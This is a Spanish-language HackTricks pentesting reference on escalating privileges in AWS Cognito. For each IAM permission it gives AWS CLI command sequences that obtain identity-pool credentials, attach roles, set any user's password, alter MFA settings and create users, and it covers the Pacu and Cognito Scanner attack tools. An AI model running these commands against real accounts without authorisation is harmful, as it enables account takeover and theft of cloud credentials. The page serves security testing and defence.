AWS - Cognito Privesc

Support HackTricks

Cognito

Para más información sobre Cognito, consulta:

Recolección de credenciales del Identity Pool

Como Cognito puede otorgar credenciales de rol IAM tanto a usuarios autenticados como a no autenticados, si localizas el ID del Identity Pool de una aplicación (debería estar codificado en ella) puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente).

Para más información consulta esta página.

Impacto Potencial: Privesc directo al rol de servicios adjunto a usuarios no autenticados (y probablemente al que está adjunto a usuarios autenticados).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con este permiso puedes otorgar cualquier rol de cognito a los usuarios autenticados/no autenticados de la aplicación cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si la aplicación de cognito no tiene habilitados los usuarios no autenticados, es posible que también necesite el permiso cognito-identity:UpdateIdentityPool para habilitarlo.

Impacto Potencial: Privesc directo a cualquier rol de cognito.

cognito-identity:update-identity-pool

Un atacante con este permiso podría establecer, por ejemplo, un Cognito User Pool bajo su control o cualquier otro proveedor de identidad donde pueda iniciar sesión como una forma de acceder a este Cognito Identity Pool. Luego, simplemente iniciar sesión en ese proveedor de usuarios le permitirá acceder al rol autenticado configurado en el Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

También es posible abusar de este permiso para permitir la autenticación básica:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer el rol IAM autenticado configurado dentro del grupo de identidades.

cognito-idp:AdminAddUserToGroup

Este permiso permite agregar un usuario de Cognito a un grupo de Cognito, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con mejores privilegios o diferentes roles IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto Potencial: Privesc a otros grupos de Cognito y roles de IAM adjuntos a Grupos de User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un atacante con estos permisos podría crear/actualizar grupos con cada rol de IAM que puede ser utilizado por un Proveedor de Identidad de Cognito comprometido y hacer que un usuario comprometido sea parte del grupo, accediendo a todos esos roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto Potencial: Privesc a otros roles IAM de Cognito.

cognito-idp:AdminConfirmSignUp

Este permiso permite verificar un registro. Por defecto, cualquiera puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indirecto al rol IAM del grupo de identidades para usuarios autenticados si puedes registrar un nuevo usuario. Privesc indirecto a otras funcionalidades de la aplicación al poder confirmar cualquier cuenta.

cognito-idp:AdminCreateUser

Este permiso permitiría a un atacante crear un nuevo usuario dentro del grupo de usuarios. El nuevo usuario se crea como habilitado, pero necesitará cambiar su contraseña.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario.

cognito-idp:AdminEnableUser

Este permiso puede ayudar en un escenario muy específico donde un atacante encontró las credenciales de un usuario deshabilitado y necesita habilitarlo nuevamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indirecto al rol IAM del grupo de identidades para usuarios autenticados y permisos del usuario si el atacante tenía credenciales para un usuario deshabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Este permiso permite iniciar sesión con el método ADMIN_USER_PASSWORD_AUTH. Para más información, sigue el enlace.

cognito-idp:AdminSetUserPassword

Este permiso permitiría a un atacante cambiar la contraseña de cualquier usuario, lo que le permitiría suplantar a cualquier usuario (que no tenga MFA habilitado).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto Potencial: Privesc directo a potencialmente cualquier usuario, por lo que se tiene acceso a todos los grupos de los que cada usuario es miembro y acceso al rol IAM autenticado del Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un atacante podría potencialmente abusar de este permiso para establecer un teléfono móvil bajo su control como SMS MFA de un usuario.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Similar a la anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario para eludir la protección de MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un grupo de usuarios para eludir la protección de MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: También es posible actualizar el grupo de usuarios para cambiar la política de MFA. Consulta cli aquí.

Impacto Potencial: Privesc indirecto a potencialmente cualquier usuario cuyas credenciales conozca el atacante, esto podría permitir eludir la protección de MFA.

cognito-idp:AdminUpdateUserAttributes

Un atacante con este permiso podría cambiar el correo electrónico o el número de teléfono o cualquier otro atributo de un usuario bajo su control para intentar obtener más privilegios en una aplicación subyacente. Esto permite cambiar un correo electrónico o número de teléfono y configurarlo como verificado.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto Potencial: Privesc indirecto potencial en la aplicación subyacente que utiliza Cognito User Pool, que otorga privilegios basados en atributos de usuario.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un atacante con este permiso podría crear un nuevo Cliente de User Pool menos restringido que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...

Lo mismo se puede hacer si, en lugar de crear un nuevo cliente, se modifica uno existente.

En la línea de comandos (o el actualizar uno) puedes ver todas las opciones, ¡revísalo!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto Potencial: Potencial privesc indirecto al usuario autorizado del Identity Pool utilizado por el User Pool al crear un nuevo cliente que relaja las medidas de seguridad y permite a un atacante iniciar sesión con un usuario que pudo crear.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un atacante podría abusar de este permiso para crear usuarios subiendo un csv con nuevos usuarios.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(En el caso de que crees un nuevo trabajo de importación, también podrías necesitar el permiso iam passrole, aún no lo he probado).

Impacto Potencial: Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un atacante podría crear un nuevo proveedor de identidad para luego poder iniciar sesión a través de este proveedor.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: Privesc directo al rol IAM del grupo de identidades para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación al poder crear cualquier usuario.

cognito-sync:* Análisis

Este es un permiso muy común por defecto en los roles de los Grupos de Identidad de Cognito. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los permisos otorgados no son muy útiles desde la perspectiva de un atacante.

Este permiso permite leer información de uso de los Grupos de Identidad e IDs de Identidad dentro de los Grupos de Identidad (lo cual no es información sensible). Los IDs de Identidad pueden tener Conjuntos de Datos asignados a ellos, que son información de las sesiones (AWS lo define como un juego guardado). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la página de enumeración cómo acceder a esta información.

Un atacante también podría usar estos permisos para inscribirse en un flujo de Cognito que publica cambios en estos conjuntos de datos o en una lambda que se activa en eventos de cognito. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.

Herramientas Automáticas

  • Pacu, el marco de explotación de AWS, ahora incluye los módulos "cognito__enum" y "cognito__attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de id, etc.

Para una descripción de las funciones de los módulos, consulta la parte 2 de la entrada del blog. Para instrucciones de instalación, consulta la página principal de Pacu.

Uso

Ejemplo de uso de cognito__attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y cliente de grupo de usuarios dados:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Ejemplo de uso de cognito__enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo una escalación de privilegios.

Instalación

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para más información, consulta https://github.com/padok-team/cognito-scanner

Apoya a HackTricks

Last updated